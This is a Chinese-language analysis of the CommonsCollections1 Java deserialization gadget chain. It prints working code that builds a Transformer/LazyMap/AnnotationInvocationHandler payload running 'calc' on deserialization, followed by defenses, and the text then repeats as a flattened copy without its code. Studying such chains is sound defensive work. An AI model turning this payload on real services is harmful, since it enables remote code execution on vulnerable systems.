yso——CommonsCollections1分析
字数 1544 2025-08-11 21:26:27

Apache Commons Collections 反序列化漏洞分析(CommonsCollections1)

漏洞概述

Apache Commons Collections是一个常用的Java库,提供了许多集合类的扩展功能。CommonsCollections1漏洞利用了该库中的Transformer接口及其实现类的特性,通过精心构造的恶意对象链,在反序列化时可以实现任意代码执行。

核心知识点

1. Transformer接口

Transformer是Commons Collections中定义的一个接口,只有一个方法:

Object transform(Object input);

2. 关键Transformer实现类

  • ConstantTransformer: 无论输入什么,总是返回一个固定值
  • InvokerTransformer: 通过反射调用方法
  • ChainedTransformer: 将多个Transformer串联起来,按顺序执行

3. LazyMap

LazyMap是Commons Collections提供的一种Map实现,当查询的key不存在时,会调用指定的Transformer来生成value。

4. 动态代理

Java动态代理机制允许在运行时创建实现一组接口的代理类实例。

漏洞利用链分析

第一步:构造Transformer链

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

为什么使用Runtime.class而不是Runtime.getRuntime()?

因为Runtime类没有实现Serializable接口,无法直接序列化,只能通过反射方式获取Runtime对象。

第二步:创建LazyMap

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

LazyMap的get方法会调用factory.transform(key),而factory就是我们传入的transformerChain。

第三步:利用AnnotationInvocationHandler

AnnotationInvocationHandler是JDK内部类,实现了InvocationHandler接口和Serializable接口。

String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler myInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

第四步:创建动态代理

final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
    testMap.getClass().getClassLoader(),
    testMap.getClass().getInterfaces(),
    myInvocationHandler
);

第五步:构造最终payload

final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);

byte[] serializeData = MySerialize.serialize(handler);
MySerialize.unserialize(serializeData);

完整利用流程

  1. 构造Transformer链,最终执行命令
  2. 创建LazyMap,将Transformer链设置为factory
  3. 创建AnnotationInvocationHandler实例,将LazyMap作为memberValues
  4. 创建动态代理,代理任意Map对象
  5. 再次创建AnnotationInvocationHandler实例,将代理对象作为memberValues
  6. 序列化最后一个AnnotationInvocationHandler实例
  7. 反序列化触发漏洞

关键细节

  1. 为什么AnnotationInvocationHandler要创建两次实例?

    • 第一次用于生成代理类
    • 第二次用于生成最终的反序列化对象
  2. JDK版本限制

    • 该利用链在JDK 8u71及之后版本失效,因为AnnotationInvocationHandler的readObject方法被修改
  3. 为什么使用反射创建AnnotationInvocationHandler?

    • 因为其构造方法是protected修饰的,无法直接实例化

防御措施

  1. 升级Commons Collections到安全版本
  2. 使用SerialKiller等工具过滤危险的序列化对象
  3. 升级JDK到最新版本
  4. 在反序列化时使用白名单机制

总结

CommonsCollections1漏洞利用链巧妙地结合了Commons Collections库的特性和Java的反射、动态代理机制,通过精心构造的恶意对象在反序列化时实现任意代码执行。理解这个漏洞需要对Java序列化机制、反射和动态代理有深入的理解。

Apache Commons Collections 反序列化漏洞分析(CommonsCollections1) 漏洞概述 Apache Commons Collections是一个常用的Java库,提供了许多集合类的扩展功能。CommonsCollections1漏洞利用了该库中的Transformer接口及其实现类的特性,通过精心构造的恶意对象链,在反序列化时可以实现任意代码执行。 核心知识点 1. Transformer接口 Transformer是Commons Collections中定义的一个接口,只有一个方法: 2. 关键Transformer实现类 ConstantTransformer : 无论输入什么,总是返回一个固定值 InvokerTransformer : 通过反射调用方法 ChainedTransformer : 将多个Transformer串联起来,按顺序执行 3. LazyMap LazyMap是Commons Collections提供的一种Map实现,当查询的key不存在时,会调用指定的Transformer来生成value。 4. 动态代理 Java动态代理机制允许在运行时创建实现一组接口的代理类实例。 漏洞利用链分析 第一步:构造Transformer链 为什么使用Runtime.class而不是Runtime.getRuntime()? 因为Runtime类没有实现Serializable接口,无法直接序列化,只能通过反射方式获取Runtime对象。 第二步:创建LazyMap LazyMap的get方法会调用factory.transform(key),而factory就是我们传入的transformerChain。 第三步:利用AnnotationInvocationHandler AnnotationInvocationHandler是JDK内部类,实现了InvocationHandler接口和Serializable接口。 第四步:创建动态代理 第五步:构造最终payload 完整利用流程 构造Transformer链,最终执行命令 创建LazyMap,将Transformer链设置为factory 创建AnnotationInvocationHandler实例,将LazyMap作为memberValues 创建动态代理,代理任意Map对象 再次创建AnnotationInvocationHandler实例,将代理对象作为memberValues 序列化最后一个AnnotationInvocationHandler实例 反序列化触发漏洞 关键细节 为什么AnnotationInvocationHandler要创建两次实例? 第一次用于生成代理类 第二次用于生成最终的反序列化对象 JDK版本限制 该利用链在JDK 8u71及之后版本失效,因为AnnotationInvocationHandler的readObject方法被修改 为什么使用反射创建AnnotationInvocationHandler? 因为其构造方法是protected修饰的,无法直接实例化 防御措施 升级Commons Collections到安全版本 使用SerialKiller等工具过滤危险的序列化对象 升级JDK到最新版本 在反序列化时使用白名单机制 总结 CommonsCollections1漏洞利用链巧妙地结合了Commons Collections库的特性和Java的反射、动态代理机制,通过精心构造的恶意对象在反序列化时实现任意代码执行。理解这个漏洞需要对Java序列化机制、反射和动态代理有深入的理解。